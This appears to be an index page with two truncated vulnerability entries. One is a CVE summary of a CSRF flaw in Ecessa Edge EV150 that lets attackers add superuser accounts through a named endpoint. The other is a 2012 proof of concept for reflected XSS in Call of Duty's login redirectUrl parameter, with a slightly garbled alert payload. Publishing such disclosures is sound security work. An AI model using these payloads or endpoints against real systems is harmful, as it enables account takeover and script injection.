CVE-2018-25152

CVE-2018-25152 affects Ecessa Edge EV150 10.7.4. A cross-site request forgery allows unauthenticated attackers to add superuser accounts by crafting a page that submits to /cgi-bin/pl_web.cgi/util_configlogin_act. The connected sources confirm the vulnerable component, the endpoint, and the impac...

Call Of Duty Cross Site Scripting

Exploit Title: callofduty xss Date: 13.08.2012 Author: TayfunBasoglu Tested: BackTrack 5 Platform: Php https://profile.callofduty.com/p/login.act?redirectUrl=XSS "; alert"TayfunBasoglu";" https://profile.callofduty.com/p/login.act?redirectUrl= "; alert"TayfunBasoglu";"...